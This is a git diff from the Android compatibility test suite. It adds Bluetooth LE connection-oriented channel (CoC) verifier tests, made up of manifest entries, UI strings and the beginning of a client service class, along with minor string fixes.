Merge "CTS test to verify work profile unlocks successfully"
diff --git a/CleanSpec.mk b/CleanSpec.mk
index a7121ad..7bb2bdf 100644
--- a/CleanSpec.mk
+++ b/CleanSpec.mk
@@ -47,6 +47,7 @@
 $(call add-clean-step, rm -rf $(HOST_OUT_INTERMEDIATES)/EXECUTABLES/vm-tests-tf_intermediates)
 $(call add-clean-step, rm -rf $(OUT_DIR)/host/common/obj/JAVA_LIBRARIES/cts-tradefed_intermediates/com/android/compatibility/SuiteInfo.java)
 $(call add-clean-step, rm -rf $(HOST_OUT)/cts/android-cts/testcases/CtsUiHostTestCases*)
+$(call add-clean-step, rm -rf $(HOST_OUT)/cts_instant/android-cts_instant/testcases/CtsJobSchedulerTestCases*)
 
 # ************************************************
 # NEWER CLEAN STEPS MUST BE AT THE END OF THE LIST
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 1f5e1c7..7b9039a 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -477,6 +477,11 @@
         <!-- CTS Verifier BLE Server Encrypted Test Service -->
         <service android:name=".bluetooth.BleEncryptedServerService" />
 
+        <!-- CTS Verifier BLE CoC Client Test Service -->
+        <service android:name=".bluetooth.BleCocClientService" />
+        <!-- CTS Verifier BLE CoC Server Test Service -->
+        <service android:name=".bluetooth.BleCocServerService" />
+
         <!--
              =================================================================================
              ==                     BLE Insecure Client Test Info                           ==
@@ -938,6 +943,234 @@
 
         <!--
              =================================================================================
+             ==                     BLE CoC Insecure Client Test Info                       ==
+             =================================================================================
+        -->
+        <!--
+            CTS Verifier BLE CoC Insecure Client Test Top Screen
+                test category : bt_le_coc
+                test parent : BluetoothTestActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleCocInsecureClientTestListActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_coc_insecure_client_test_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le_coc" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+             CTS Verifier BLE CoC Insecure Client Test List Screen
+                 test category : bt_le_coc
+                 test parent : BleInsecureClientTestListActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleCocInsecureClientStartActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_coc_client_test_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le_coc" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BleCocInsecureClientTestListActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+              =================================================================================
+              ==                     BLE CoC Insecure Server Test Info                       ==
+              =================================================================================
+        -->
+        <!--
+             CTS Verifier BLE Coc Insecure Server Test Top Screen
+                 test category : bt_le_coc
+                 test parent : BluetoothTestActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleCocInsecureServerTestListActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_coc_insecure_server_test_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le_coc" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+              CTS Verifier BLE Coc Insecure Server Test List Screen
+                  test category : bt_le_coc
+                  test parent : BleCocInsecureServerTestListActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleCocInsecureServerStartActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_coc_server_start_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le_coc" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BleCocInsecureServerTestListActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+             =================================================================================
+             ==                     BLE CoC Secure Client Test Info                         ==
+             =================================================================================
+        -->
+        <!--
+            CTS Verifier BLE Coc Secure Client Test Top Screen
+                test category : bt_le_coc
+                test parent : BluetoothTestActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleCocSecureClientTestListActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_coc_secure_client_test_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le_coc" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+             CTS Verifier BLE Coc Secure Client Test List Screen
+                 test category : bt_le_coc
+                 test parent : BleSecureClientTestListActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleCocSecureClientStartActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_coc_client_test_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le_coc" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BleCocSecureClientTestListActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+              =================================================================================
+              ==                     BLE CoC Secure Server Test Info                         ==
+              =================================================================================
+        -->
+        <!--
+             CTS Verifier BLE Coc Secure Server Test Top Screen
+                 test category : bt_le_coc
+                 test parent : BluetoothTestActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleCocSecureServerTestListActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_coc_secure_server_test_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le_coc" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+              CTS Verifier BLE Coc Secure Server Test List Screen
+                  test category : bt_le_coc
+                  test parent : BleCocSecureServerTestListActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleCocSecureServerStartActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_coc_server_start_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le_coc" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BleCocSecureServerTestListActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+             =================================================================================
              ==                      BLE Scanner Test Info                            ==
              =================================================================================
         -->
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 97b499b..8978ff6 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -183,6 +183,10 @@
         \n\n\"Bluetooth LE Insecure Server Test\" x \"Bluetooth LE Insecure Client Test\"
         \n\n\"Bluetooth LE Secure Client Test\" x \"Bluetooth LE Secure Server Test\"
         \n\n\"Bluetooth LE Secure Server Test\" x \"Bluetooth LE Secure Client Test\"
+        \n\n\"Bluetooth LE CoC Insecure Server Test\" x \"Bluetooth LE CoC Insecure Client Test\"
+        \n\n\"Bluetooth LE CoC Insecure Client Test\" x \"Bluetooth LE CoC Insecure Server Test\"
+        \n\n\"Bluetooth LE CoC Secure Server Test\" x \"Bluetooth LE CoC Secure Client Test\"
+        \n\n\"Bluetooth LE CoC Secure Client Test\" x \"Bluetooth LE CoC Secure Server Test\"
         \n\nThe Device Communication tests require two
         devices to pair and exchange messages. The two devices must be:
         \n\n1. a candidate device implementation running the software build to be tested
@@ -193,6 +197,7 @@
     <string name="bt_device_communication">Device Communication</string>
     <string name="bt_le">Bluetooth LE</string>
     <string name="bt_hid">Bluetooth HID</string>
+    <string name="bt_le_coc">Bluetooth LE CoC</string>
 
     <string name="bt_toggle_bluetooth">Toggle Bluetooth</string>
     <string name="bt_toggle_instructions">Disable and enable Bluetooth to successfully complete this test.</string>
@@ -201,6 +206,65 @@
     <string name="bt_disabling">Disabling Bluetooth...</string>
     <string name="bt_disabling_error">Could not disable Bluetooth...</string>
 
+    <string name="ble_coc_insecure_client_test_list_name">Bluetooth LE CoC Insecure Client Test</string>
+    <string name="ble_coc_insecure_client_test_list_info">
+        The Bluetooth LE CoC test must be done simultaneously on two devices. This device is the client.
+        All tests listed here must be done without pairing. Tap \"Bluetooth LE CoC Insecure Server Test\" on the other device.
+        \n\nTap \"01 Bluetooth LE CoC Client Test\" on this device, then tap \"01 Bluetooth LE CoC Server Test\" on the other device.
+        \nWhen the test is complete, move to the next item. You must complete all tests.
+    </string>
+    <string name="ble_coc_insecure_client_test_info">
+        The Bluetooth LE CoC test must be done simultaneously on two devices. This device is the client.
+        All tests listed here must be done without pairing.
+    </string>
+    <string name="ble_coc_insecure_server_test_list_name">Bluetooth LE CoC Insecure Server Test</string>
+    <string name="ble_coc_insecure_server_test_list_info">
+        This test is mostly automated, but requires some user interaction.
+        Once the list items below have check marks, the test is complete.
+        \n\nTap \"01 Bluetooth LE CoC Server Test\" on this device, then tap \"01 Bluetooth LE CoC Client Test\" on the other device.
+        \nWhen the test is complete, move to the next item. You must complete all tests.
+    </string>
+
+    <string name="ble_coc_secure_client_test_list_name">Bluetooth LE CoC Secure Client Test</string>
+    <string name="ble_coc_secure_client_test_list_info">
+        The Bluetooth LE CoC test must be done simultaneously on two devices. This device is the client.
+        All tests listed here must be done without pairing. Tap \"Bluetooth LE CoC Secure Server Test\" on the other device.
+        \n\nTap \"01 Bluetooth LE CoC Client Test\" on this device, then tap \"01 Bluetooth LE CoC Server Test\" on the other device.
+        \nWhen the test is complete, move to the next item. You must complete all tests.
+    </string>
+    <string name="ble_coc_secure_client_test_info">
+        The Bluetooth LE CoC test must be done simultaneously on two devices. This device is the client.
+        All tests listed here must be done without pairing.
+    </string>
+    <string name="ble_coc_secure_server_test_list_name">Bluetooth LE CoC Secure Server Test</string>
+    <string name="ble_coc_secure_server_test_list_info">
+        This test is mostly automated, but requires some user interaction.
+        Once the list items below have check marks, the test is complete.
+        \n\nTap \"01 Bluetooth LE CoC Server Test\" on this device, then tap \"01 Bluetooth LE CoC Client Test\" on the other device.
+        \nWhen the test is complete, move to the next item. You must complete all tests.
+    </string>
+
+    <!-- BLE CoC client side strings -->
+    <string name="ble_coc_client_test_name">01 Bluetooth LE CoC Client Test</string>
+    <string name="ble_coc_client_le_connect">Bluetooth LE Client Connect</string>
+    <string name="ble_coc_client_get_psm">Get peer PSM value</string>
+    <string name="ble_coc_client_coc_connect">LE CoC client Connect</string>
+    <string name="ble_coc_client_check_connection_type">Check connection type</string>
+    <string name="ble_coc_client_send_data_8bytes">Send 8 bytes</string>
+    <string name="ble_coc_client_receive_data_8bytes">Receive 8 bytes</string>
+    <string name="ble_coc_client_data_exchange">Send and receive large data buffer</string>
+
+    <!-- BLE CoC server side strings -->
+    <string name="ble_coc_server_start_name">01 Bluetooth LE CoC Server Test</string>
+    <string name="ble_coc_server_le_connect">Bluetooth LE Server Connect</string>
+    <string name="ble_coc_server_create_listener">Create LE CoC listener</string>
+    <string name="ble_coc_server_psm_read">Waiting on PSM to be read</string>
+    <string name="ble_coc_server_connection">Waiting on LE CoC connection</string>
+    <string name="ble_coc_server_check_connection_type">Check connection type</string>
+    <string name="ble_coc_server_receive_data_8bytes">Waiting to receive 8 bytes</string>
+    <string name="ble_coc_server_send_data_8bytes">Sending 8 bytes</string>
+    <string name="ble_coc_server_data_exchange">Send and receive large data buffer</string>
+
     <string name="bt_connection_access_server">Connection Access Server</string>
     <string name="bt_connection_access_client">Connection Access Client</string>
     <string name="bt_connection_access_server_info">
@@ -456,6 +520,11 @@
     <string name="ble_secure_server_test_name">Bluetooth LE Secure Server Test</string>
     <string name="ble_insecure_server_test_name">Bluetooth LE Insecure Server Test</string>
 
+    <string name="ble_coc_secure_client_test_name">Bluetooth LE CoC Secure Client Test</string>
+    <string name="ble_coc_insecure_client_test_name">Bluetooth LE CoC Insecure Client Test</string>
+    <string name="ble_coc_secure_server_test_name">Bluetooth LE CoC Secure Server Test</string>
+    <string name="ble_coc_insecure_server_test_name">Bluetooth LE CoC Insecure Server Test</string>
+
     <string name="ble_read_characteristic_nopermission_name">Bluetooth LE Read Characteristic Without Perrmission</string>
     <string name="ble_write_characteristic_nopermission_name">Bluetooth LE Write Characteristic Without Permission</string>
     <string name="ble_read_descriptor_nopermission_name">Bluetooth LE Read Descriptor Without Perrmission</string>
@@ -2691,7 +2760,7 @@
     <string name="negative_device_owner">No Device Owner Tests</string>
     <string name="device_owner_negative_category">No Device Owner Tests</string>
     <string name="device_owner_provisioning_negative">Device owner provisioning</string>
-    <string name="device_owner_provisioning_negative_info">The device owner provisioning test verifies that setting up a corporate owned device can only be done on a factory reset device.\n\nPlease click the "Start provisioning" button, and when you see a warning dialog telling the device can\'t be set up, select "pass". Otherwise, select "fail".</string>
+    <string name="device_owner_provisioning_negative_info">The device owner provisioning test verifies that setting up a corporate owned device can only be done on a factory reset device.\n\nPlease click the "Start provisioning" button, and when you see a warning dialog telling the device is already set up, select "pass". Otherwise, select "fail".</string>
     <string name="start_device_owner_provisioning_button">Start provisioning</string>
     <string name="enterprise_privacy_quick_settings_negative">Quick settings disclosure</string>
     <string name="enterprise_privacy_quick_settings_negative_info">
@@ -2976,8 +3045,8 @@
     <string name="device_owner_disallow_usb_file_transfer_test_info">
             Please press below button to set the \"disallow USB file transfer\" restriction.\n
             If a USB notification appears, open the notification and check that the
-            \"Transfer files (MTP)\" and \"Transfer photos (PTP)\" cannot be selected and trigger a
-            support message when trying to select them.\n
+            \"Transfer files (MTP)\" and \"Transfer photos (PTP)\" options either are not displayed,
+            or they trigger a support message when trying to select them.\n
             Check if you can mount the device as a USB drive on your desktop computer. The test is
             successful if you cannot mount the device, and files from your phone cannot be
             downloaded through USB.\n
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
index 28d08cd..1fd6a2b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
@@ -1292,7 +1292,15 @@
                 int state = intent.getIntExtra(BluetoothDevice.EXTRA_BOND_STATE, BluetoothDevice.BOND_NONE);
                 switch (state) {
                     case BluetoothDevice.BOND_BONDED:
-                        mBluetoothGatt = connectGatt(device, mContext, false, mSecure, mGattCallbacks);
+                        if ((mBluetoothGatt == null) &&
+                            (device.getType() != BluetoothDevice.DEVICE_TYPE_CLASSIC)) {
+                            if (DEBUG) {
+                                Log.d(TAG, "onReceive:BOND_BONDED: calling connectGatt device="
+                                             + device + ", mSecure=" + mSecure);
+                            }
+                            mBluetoothGatt = connectGatt(device, mContext, false, mSecure,
+                                                         mGattCallbacks);
+                        }
                         break;
                     case BluetoothDevice.BOND_NONE:
                         notifyError("Failed to create bond.");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocClientService.java
new file mode 100644
index 0000000..183cebd
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocClientService.java
@@ -0,0 +1,725 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.Set;
+import java.util.UUID;
+
+import java.io.ByteArrayOutputStream;
+
+import com.android.cts.verifier.R;
+
+import android.app.Service;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothDevice;
+import android.bluetooth.BluetoothGatt;
+import android.bluetooth.BluetoothGattCallback;
+import android.bluetooth.BluetoothGattCharacteristic;
+import android.bluetooth.BluetoothGattDescriptor;
+import android.bluetooth.BluetoothGattService;
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.BluetoothProfile;
+import android.bluetooth.BluetoothSocket;
+import android.bluetooth.le.BluetoothLeScanner;
+import android.bluetooth.le.ScanCallback;
+import android.bluetooth.le.ScanFilter;
+import android.bluetooth.le.ScanResult;
+import android.bluetooth.le.ScanSettings;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Build;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Message;
+import android.os.ParcelUuid;
+import android.text.TextUtils;
+import android.util.Log;
+import android.widget.Toast;
+
+public class BleCocClientService extends Service {
+
+    public static final boolean DEBUG = true;
+    public static final String TAG = "BleCocClientService";
+
+    private static final int TRANSPORT_MODE_FOR_SECURE_CONNECTION = BluetoothDevice.TRANSPORT_LE;
+
+    public static final String BLE_LE_CONNECTED =
+            "com.android.cts.verifier.bluetooth.BLE_LE_CONNECTED";
+    public static final String BLE_GOT_PSM =
+            "com.android.cts.verifier.bluetooth.BLE_GOT_PSM";
+    public static final String BLE_COC_CONNECTED =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CONNECTED";
+    public static final String BLE_CONNECTION_TYPE_CHECKED =
+            "com.android.cts.verifier.bluetooth.BLE_CONNECTION_TYPE_CHECKED";
+    public static final String BLE_DATA_8BYTES_SENT =
+            "com.android.cts.verifier.bluetooth.BLE_DATA_8BYTES_SENT";
+    public static final String BLE_DATA_8BYTES_READ =
+            "com.android.cts.verifier.bluetooth.BLE_DATA_8BYTES_READ";
+    public static final String BLE_DATA_LARGEBUF_READ =
+            "com.android.cts.verifier.bluetooth.BLE_DATA_LARGEBUF_READ";
+    public static final String BLE_LE_DISCONNECTED =
+            "com.android.cts.verifier.bluetooth.BLE_LE_DISCONNECTED";
+
+    public static final String BLE_BLUETOOTH_MISMATCH_SECURE =
+            "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_MISMATCH_SECURE";
+    public static final String BLE_BLUETOOTH_MISMATCH_INSECURE =
+            "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_MISMATCH_INSECURE";
+    public static final String BLE_BLUETOOTH_DISABLED =
+            "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_DISABLED";
+    public static final String BLE_GATT_CONNECTED =
+            "com.android.cts.verifier.bluetooth.BLE_GATT_CONNECTED";
+    public static final String BLE_BLUETOOTH_DISCONNECTED =
+            "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_DISCONNECTED";
+    public static final String BLE_CLIENT_ERROR =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ERROR";
+    public static final String EXTRA_COMMAND =
+            "com.android.cts.verifier.bluetooth.EXTRA_COMMAND";
+    public static final String EXTRA_WRITE_VALUE =
+            "com.android.cts.verifier.bluetooth.EXTRA_WRITE_VALUE";
+    public static final String EXTRA_BOOL =
+            "com.android.cts.verifier.bluetooth.EXTRA_BOOL";
+
+    // Literal for Client Action
+    public static final String BLE_COC_CLIENT_ACTION_LE_INSECURE_CONNECT =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_LE_INSECURE_CONNECT";
+    public static final String BLE_COC_CLIENT_ACTION_LE_SECURE_CONNECT =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_LE_SECURE_CONNECT";
+    public static final String BLE_COC_CLIENT_ACTION_GET_PSM =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_GET_PSM";
+    public static final String BLE_COC_CLIENT_ACTION_COC_CLIENT_CONNECT =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_COC_CLIENT_CONNECT";
+    public static final String BLE_COC_CLIENT_ACTION_CHECK_CONNECTION_TYPE =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_CHECK_CONNECTION_TYPE";
+    public static final String BLE_COC_CLIENT_ACTION_SEND_DATA_8BYTES =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_SEND_DATA_8BYTES";
+    public static final String BLE_COC_CLIENT_ACTION_READ_DATA_8BYTES =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_READ_DATA_8BYTES";
+    public static final String BLE_COC_CLIENT_ACTION_EXCHANGE_DATA =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_EXCHANGE_DATA";
+    public static final String BLE_COC_CLIENT_ACTION_CLIENT_CONNECT =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_CLIENT_CONNECT";
+    public static final String BLE_COC_CLIENT_ACTION_CLIENT_CONNECT_SECURE =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CLIENT_ACTION_CLIENT_CONNECT_SECURE";
+    public static final String BLE_CLIENT_ACTION_CLIENT_DISCONNECT =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_CLIENT_DISCONNECT";
+
+    private static final UUID SERVICE_UUID =
+            UUID.fromString("00009999-0000-1000-8000-00805f9b34fb");
+
+    /**
+     * UUID of the GATT Read Characteristics for LE_PSM value.
+     */
+    public static final UUID LE_PSM_CHARACTERISTIC_UUID =
+            UUID.fromString("2d410339-82b6-42aa-b34e-e2e01df8cc1a");
+
+    public static final String WRITE_VALUE = "CLIENT_TEST";
+    private static final String NOTIFY_VALUE = "NOTIFY_TEST";
+    private int mBleState = BluetoothProfile.STATE_DISCONNECTED;
+    private static final int EXECUTION_DELAY = 1500;
+
+    // current test category
+    private String mCurrentAction;
+
+    private BluetoothManager mBluetoothManager;
+    private BluetoothAdapter mBluetoothAdapter;
+    private BluetoothDevice mDevice;
+    private BluetoothGatt mBluetoothGatt;
+    private BluetoothLeScanner mScanner;
+    private Handler mHandler;
+    private boolean mSecure;
+    private boolean mValidityService;
+    private int mPsm;
+    private BluetoothChatService mChatService;
+    private int mNextReadExpectedLen = -1;
+    private String mNextReadCompletionIntent;
+    private int mTotalReadLen = 0;
+    private byte mNextReadByte;
+    private int mNextWriteExpectedLen = -1;
+    private String mNextWriteCompletionIntent = null;
+
+    // Handler for communicating task with peer.
+    private TestTaskQueue mTaskQueue;
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+
+        registerReceiver(mBondStatusReceiver,
+                         new IntentFilter(BluetoothDevice.ACTION_BOND_STATE_CHANGED));
+
+        mBluetoothManager = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);
+        mBluetoothAdapter = mBluetoothManager.getAdapter();
+        mScanner = mBluetoothAdapter.getBluetoothLeScanner();
+        mHandler = new Handler();
+
+        mTaskQueue = new TestTaskQueue(getClass().getName() + "_taskHandlerThread");
+    }
+
+    @Override
+    public int onStartCommand(final Intent intent, int flags, int startId) {
+        if (!mBluetoothAdapter.isEnabled()) {
+            notifyBluetoothDisabled();
+        } else {
+            mTaskQueue.addTask(new Runnable() {
+                @Override
+                public void run() {
+                    onTestFinish(intent.getAction());
+                }
+            }, EXECUTION_DELAY);
+        }
+        return START_NOT_STICKY;
+    }
+
+    private void onTestFinish(String action) {
+        mCurrentAction = action;
+        if (mCurrentAction != null) {
+            switch (mCurrentAction) {
+                case BLE_COC_CLIENT_ACTION_LE_INSECURE_CONNECT:
+                    mSecure = false;
+                    startScan();
+                    break;
+                case BLE_COC_CLIENT_ACTION_LE_SECURE_CONNECT:
+                    mSecure = true;
+                    startScan();
+                    break;
+                case BLE_COC_CLIENT_ACTION_GET_PSM:
+                    startLeDiscovery();
+                    break;
+                case BLE_COC_CLIENT_ACTION_COC_CLIENT_CONNECT:
+                    leCocClientConnect();
+                    break;
+                case BLE_COC_CLIENT_ACTION_CHECK_CONNECTION_TYPE:
+                    leCheckConnectionType();
+                    break;
+                case BLE_COC_CLIENT_ACTION_SEND_DATA_8BYTES:
+                    sendData8bytes();
+                    break;
+                case BLE_COC_CLIENT_ACTION_READ_DATA_8BYTES:
+                    readData8bytes();
+                    break;
+                case BLE_COC_CLIENT_ACTION_EXCHANGE_DATA:
+                    sendDataLargeBuf();
+                    readDataLargeBuf();
+                    break;
+                case BLE_CLIENT_ACTION_CLIENT_DISCONNECT:
+                    if (mBluetoothGatt != null) {
+                        mBluetoothGatt.disconnect();
+                    }
+                    if (mChatService != null) {
+                        mChatService.stop();
+                    }
+                    break;
+                default:
+                    Log.e(TAG, "Error: Unhandled or invalid action=" + mCurrentAction);
+            }
+        }
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        if (mBluetoothGatt != null) {
+            mBluetoothGatt.disconnect();
+            mBluetoothGatt.close();
+            mBluetoothGatt = null;
+        }
+        stopScan();
+        unregisterReceiver(mBondStatusReceiver);
+
+        if (mChatService != null) {
+            mChatService.stop();
+        }
+
+        mTaskQueue.quit();
+    }
+
+    public static BluetoothGatt connectGatt(BluetoothDevice device, Context context,
+                                            boolean autoConnect, boolean isSecure,
+                                            BluetoothGattCallback callback) {
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
+            if (isSecure) {
+                if (TRANSPORT_MODE_FOR_SECURE_CONNECTION == BluetoothDevice.TRANSPORT_AUTO) {
+                    Toast.makeText(context, "connectGatt(transport=AUTO)", Toast.LENGTH_SHORT)
+                    .show();
+                } else {
+                    Toast.makeText(context, "connectGatt(transport=LE)", Toast.LENGTH_SHORT).show();
+                }
+                return device.connectGatt(context, autoConnect, callback,
+                                          TRANSPORT_MODE_FOR_SECURE_CONNECTION);
+            } else {
+                Toast.makeText(context, "connectGatt(transport=LE)", Toast.LENGTH_SHORT).show();
+                return device.connectGatt(context, autoConnect, callback,
+                                          BluetoothDevice.TRANSPORT_LE);
+            }
+        } else {
+            Toast.makeText(context, "connectGatt", Toast.LENGTH_SHORT).show();
+            return device.connectGatt(context, autoConnect, callback);
+        }
+    }
+
+    private void readCharacteristic(UUID uuid) {
+        BluetoothGattCharacteristic characteristic = getCharacteristic(uuid);
+        if (characteristic != null) {
+            mBluetoothGatt.readCharacteristic(characteristic);
+        }
+    }
+
+    private void notifyError(String message) {
+        showMessage(message);
+        Log.e(TAG, message);
+
+        Intent intent = new Intent(BLE_CLIENT_ERROR);
+        sendBroadcast(intent);
+    }
+
+    private void notifyMismatchSecure() {
+        Intent intent = new Intent(BLE_BLUETOOTH_MISMATCH_SECURE);
+        sendBroadcast(intent);
+    }
+
+    private void notifyMismatchInsecure() {
+        Intent intent = new Intent(BLE_BLUETOOTH_MISMATCH_INSECURE);
+        sendBroadcast(intent);
+    }
+
+    private void notifyBluetoothDisabled() {
+        Intent intent = new Intent(BLE_BLUETOOTH_DISABLED);
+        sendBroadcast(intent);
+    }
+
+    private void notifyConnected() {
+        showMessage("Bluetooth LE GATT connected");
+        Intent intent = new Intent(BLE_LE_CONNECTED);
+        sendBroadcast(intent);
+    }
+
+    private void startLeDiscovery() {
+        // Start Service Discovery
+        if (mBluetoothGatt != null && mBleState == BluetoothProfile.STATE_CONNECTED) {
+            mBluetoothGatt.discoverServices();
+        } else {
+            showMessage("Bluetooth LE GATT not connected.");
+        }
+    }
+
+    private void notifyDisconnected() {
+        showMessage("Bluetooth LE disconnected");
+        Intent intent = new Intent(BLE_BLUETOOTH_DISCONNECTED);
+        sendBroadcast(intent);
+    }
+
+    private void notifyServicesDiscovered() {
+        showMessage("Service discovered");
+        // Find the LE_COC_PSM characteristics
+        if (DEBUG) {
+            Log.d(TAG, "notifyServicesDiscovered: Next step is to read the PSM char.");
+        }
+        readCharacteristic(LE_PSM_CHARACTERISTIC_UUID);
+    }
+
+    private BluetoothGattService getService() {
+        BluetoothGattService service = null;
+
+        if (mBluetoothGatt != null) {
